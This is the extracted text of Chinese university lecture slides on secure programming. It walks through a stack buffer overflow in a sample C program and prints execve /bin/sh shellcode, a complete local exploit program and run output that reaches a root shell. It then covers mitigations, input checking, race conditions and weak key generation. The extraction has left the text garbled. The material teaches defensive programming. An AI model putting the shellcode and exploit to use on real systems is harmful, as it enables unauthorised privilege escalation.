-计算机安全与保密技术--第十章.ppt_第1页
-计算机安全与保密技术--第十章.ppt_第2页
-计算机安全与保密技术--第十章.ppt_第3页
-计算机安全与保密技术--第十章.ppt_第4页
-计算机安全与保密技术--第十章.ppt_第5页
已阅读5页,还剩61页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

网络安全第十讲安全程序设计 本讲内容 10 1现实中的一些安全问题10 2从几个程序谈起10 3程序失败的其它例子 10 1现实中的一些安全问题 我的口令就是我的用户名后加上123我的口令是Q47pY 3 每隔90天就更换一次强而有效的不可破解的加密技术随处均可得到 尽管有各种各样的进出口限制 不攻击加密技术 攻击其应用的底层基础设施不攻击加密技术 攻击其实现不攻击加密技术 而从用户方面入手 WhySecurityisHarderthanitLooks 所有软件都是有错的通常情况下99 99 无错的程序很少会出问题同安全相关的99 99 无错的程序可以确信会被人利用那0 01 的错误0 01 安全问题等于100 的失败 10 2从几个程序谈起 程序运行平台RedhatLinux6 1Kernel2 2 13egcs 2 91 66 10 2 1第一个程序 include includevoidSayHello char name chartmpName 80 strcpy tmpName name DosomechecksfortmpName printf Hello s n tmpName intmain intargc char argv if argc 2 printf Usage hello n return1 SayHello argv 1 return0 hello c 运行情况 hellocomputerHellocomputer helloaaaa aHelloaaaa aSegmentationfault coredumped hello c Why 检查一下程序 include includevoidSayHello char name chartmpName 80 strcpy tmpName name DosomechecksfortmpName printf Hello s n tmpName intmain intargc char argv if argc 2 printf Usage hello n return1 SayHello argv 1 return0 hello c 进一步思考 发生了什么事 几个要点 Linux及其它几乎所有Intelx86系统 Solaris etc分页式存储管理平面内存结构 4GB或更大逻辑地址空间栈从下往上生长C语言不进行边界检查 进程内存布局 调用SayHello之前的栈 main栈帧 进入SayHello后的栈 tmpName 80 main fpretipnamemain栈帧 ESP SayHello栈帧 准备退出SayHello的栈 情况1 computer main fpretipnamemain栈帧 ESP SayHello栈帧 hellocomputer 准备退出SayHello的栈 情况2 aaaaaaaaaaaaaaaaaa aaaaaaaa0 x616161610 x616161610 x61616161main栈帧 ESP SayHello栈帧 helloaaaaaa a 如果精心选择数据 0 x 0 xNNNNNNNN0 x Our Codes ESP SayHello栈帧 如何选择这些数据 几个问题 SayHello函数局部变量区大小 NNNNNNNN如何确定 Ourcodes该怎样写输入缓冲区不能包含0 局部变量区问题 0 x 0 xNNNNNNNN0 x Our Codes ESP SayHello栈帧 局部变量区问题 0 xNNNNNNNN NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNNOur Codes ESP SayHello栈帧 代码起始地址如何确定 0 xNNNNNNNN NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNNOur Codes ESP SayHello栈帧 4K 代码起始地址如何确定 问题已转化为用ESP加上某一偏移该偏移不需要精确 为什么偏移不需要精确 0 xNNNNNNNN NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN NNNNNNOPNOP NOPReal Codes ESP SayHello栈帧 代码起始地址如何确定 问题已转化为用ESP加上某一偏移该偏移不需要精确ESP如何确定呢用同样选项 插入一段代码 重新编译使用调试工具跟踪应用程序编一小程序 打印出运行时栈顶位置在同样环境下 不同进程之间栈位置距离不会太远 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0 esi cmd 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0esi 8 cmd esi cmd 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0esi 8 cmd 0 esi cmd 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0esi 8 cmd 0 esi cmd 运行程序路径 exec 植入代码如何编写 jmplabel2label1 popesimov esi 8 esixoreax eaxmov esi 7 almov esi 12 eaxmoval 0bhmovebx esileaecx esi 8 leaedx esi 12 int80hxorebx ebxmoveax ebxinceaxint80hlabel2 calllabel1cmd db bin sh 0esi 8 cmd 0 esi cmd exit 植入代码二进制格式 charshell code xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh 植入代码自测试程序 1 includeunsignedcharshell code xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin ls charlarge string 128 main charbuffer 96 inti test1 c 植入代码自测试程序 2 long long ptr long large string for i 0 i 32 i long ptr i long buffer for i 0 i strlen shell code i large string i shell code i strcpy buffer large string printf IseverythingOK n test1 c 植入代码自测试程序 3 test1IseverythingOK hellohello ctest1test1 c test1 c 完整的攻击hello的程序 1 include include includeunsignedcharshell code xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh defineDEFAULT OFFSET0 defineBUFFER SIZE1024 test2 c 完整的攻击hello的程序 2 unsignedlongget esp asm movl esp eax main intargc char argv char buff char ptr unsignedlong addr ptr unsignedlongesp inti ofs test2 c 完整的攻击hello的程序 3 if argc 1 ofs DEFAULT OFFSET elseofs atoi argv 1 ptr buff malloc 4096 Fillinwithaddresses addr ptr unsignedlong ptr esp get esp printf ESP 08x n esp for i 0 i 100 i addr ptr esp ofs test2 c 完整的攻击hello的程序 4 FillthestartofshellbufferwithNOPs ptr char addr ptr memset ptr A BUFFER SIZE strlen shell code ptr BUFFER SIZE strlen shell code Andthentheshellcode memcpy ptr shell code strlen shell code ptr strlen shell code ptr 0 printf IseverythingOK n execl hello hello buff NULL test2 c 完整的攻击hello的程序 5 test2ESP bffffcd0IseverythingOK Hello bin shbash test2 c 得出的结论 一个程序当没有很好地检查边界条件时可能会受到缓冲区溢出攻击有缓冲区溢出漏洞的程序当它能以特权用户身份运行时 可能让普通用户无需经过认证就可以获得系统特权 10 2 2rootexploit Remoterootexploit通过网络 不需认证即可获得root权限Localrootexploit本地普通用户 利用系统程序的漏洞获得root权限 哪些程序将以特权用户身份运行 网络服务程序HTTPServer FTPServer MailServer etcsyslogTrojian木马程序suid sgid程序 suid sgid程序 Unix一项特殊技术 使普通用户也能做只有超级用户才能执行的任务passwd at crontab ping普通rwx之上加上s位 kernel在载入进程映象时自动将进程有效用户 组标识置为映象文件文件属主 组例 ls l usr bin passwd r s x x1root usr bin passwd 10 2 3还是攻击hello的例子 subash chownroot roothellobash chmodu shello exit test2ESP bffffcd0IseverythingOK Hello bin shbash bash whoamirootbash 近几年出现过的bufferoverflows splitvt syslog mount umount sendmail lpr bind gethostbyname modstat cron login sendmailagain thequeryCGIscript newgrp AutoSoftsRTSinventorycontrolsystem host talkd getopt sendmailyetagain FreeBSD scrt0 c WebSite1 1 rlogin term ffbconfig libX11 passwd yppasswd nispasswd imapd ipop3d SuperProbe lpd xterm eject lpdagain host mount theNLSlibrary xlock libXtandfurtherX11R6libraries talkd fdformat eject elm cxterm ps fbconfig metamail dtterm df anentirerangeofSGIprograms psagain chkey libX11 suidperl libXtagain lquerylv getopt again dtaction at libDtSvc eeprom lpryetagain smbmount xlockyetagain MH 6 83 NIS ordist xlockagain psagain bash rdist login scheme libX11again sendmailforWindowsNT wm wwwcount tgetent xdat termcap portmir writesrv rcp opengroup telnetd rlogin MSIE eject df statd atagain rloginagain rsh ping traceroute Cisco7xxrouters xscreensaver passwd deliver cidentd Xserver theYappconferencingserver multipleproblemsintheWindows95 NTNTFTPclient theWindowsWarandServ UFTPdaemon theLinuxdynamiclinker filter partofelm 2 4 theIMailPOP3serverforNT pset rpc nisd Sambaserver ufsrestore DCEsecd pine dslip RealPlayer SLMail socks5 CSMProxy imapd again OutlookExpress NetscapeMail mutt MSIE LotusNotes MSIEagain libauth login iwsh permissions unfsd Minicom nslookup zpop dig WebCam32 smbclient compress elvis lha bash jidentd Tooltalk ttdbserver dbadmin zgv mountd pcnfs NovellGroupwise mscreen xterm Xawlibrary CiscoIOS muttagain ospf monitor sdtcm convert Netscape allversions mpg123 Xprt klogd catdoc junkbuster SerialPOP andrdist 10 2 4怎么解决 更为小心的程序设计将安全相关的功能隔离到仔细检查的代码内让栈不可运行会导致若干技术难题基于编译器的方法在代码内自动增加边界检查 veryslow 运行过程中进行栈完整性检查 slightslowdown 重新排列栈变量 noslowdown 10 3程序失败的其它例子 传递参数到其它进程其它类型输入Racecondition会话密钥的生成内存数据保护最小特权 传参数给其它进程的几种类型 UnixshellscriptsCGI Perlscripts很复杂的应用sendmail其它类型TCPWrapperinetd 1 其它类型输入 1 IIS3 0以前GET Windows奇怪的目录名解析 C TEMP t1 t2 t3 t4 t5 t6 cd C TEMP 其它类型输入 2 子进程从父进程继承的内容进程身份uid gid euid egid可能被跟踪 发信号改变其运行状态打开文件描述符环境变量IFS LD PRELOAD文件创建模式掩码 其它类型输入 3 子进程从父进程继承的内容 续 当前目录和根目录资源极限调度优先级可能被用于下面将要谈到的racecondition攻击内部时钟信号处理处理函数被重置但被阻塞信号仍被阻塞 被忽略信号仍被忽略 如何正确处理输入 1 原则 不要相信任何来自不可信信息源的消息字符串操作类函数不要使用strcpy strcat sprintf换用strncpy strncat snprintf不要使用gets scanf换用read fgets小心getenv 可能被用于缓冲区溢出 如何正确处理输入 2 字符串操作类函数 续 小心gethostbyname gethostbyaddr某些DNS可能返回恶意地址如果可能 应该做双向查询运行新进程system popen exec将产生新shell 可能做系统不希望它做的事换用execl或execv 对传递数据作严格一致性检查 sanitycheck 如何正确处理输入 3 命令行检查程序中应仔细检查每一参数尤其是以很高特权运行的程序数据检查正确的方法 只允许可以确信没有问题的数据通过 如字母 数字 点及一些符号错误的方法 除已知会出问题的数据外都允许通过 可能会有漏网之鱼例 随早期Apachewebserver的php cgi就忘了过滤回车符 2 RaceCondition 多任务环境下 利用进程运行的异步性 抢占或改变进程使用资源判断资源性质与真正使用该资源之间有一个时间差 在这段时间内进程很可能运行完时间片被调度出去 此时其它进程可能改变该资源性质 RaceCondition例 目的 创建并打开临时文件保证只有当前进程能打开该文件 3 会话密钥的生成 生成会话密钥需要大量不可预测的随机数在PC上生成随机数非常困难大多数人的动作行为是不可预测的用户输入可能是不可预测的 但对独立服务器来说很难利用通常情况下实现由应用开发者处理但开发者的实现大多有误 一些有问题的随机数生成器 Netscape 原 a mixbits time tv usec b mixbits getpid time tv sec getppid 12 seed MD5 a b nonce MD5 seed key MD5 seed 一些有

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论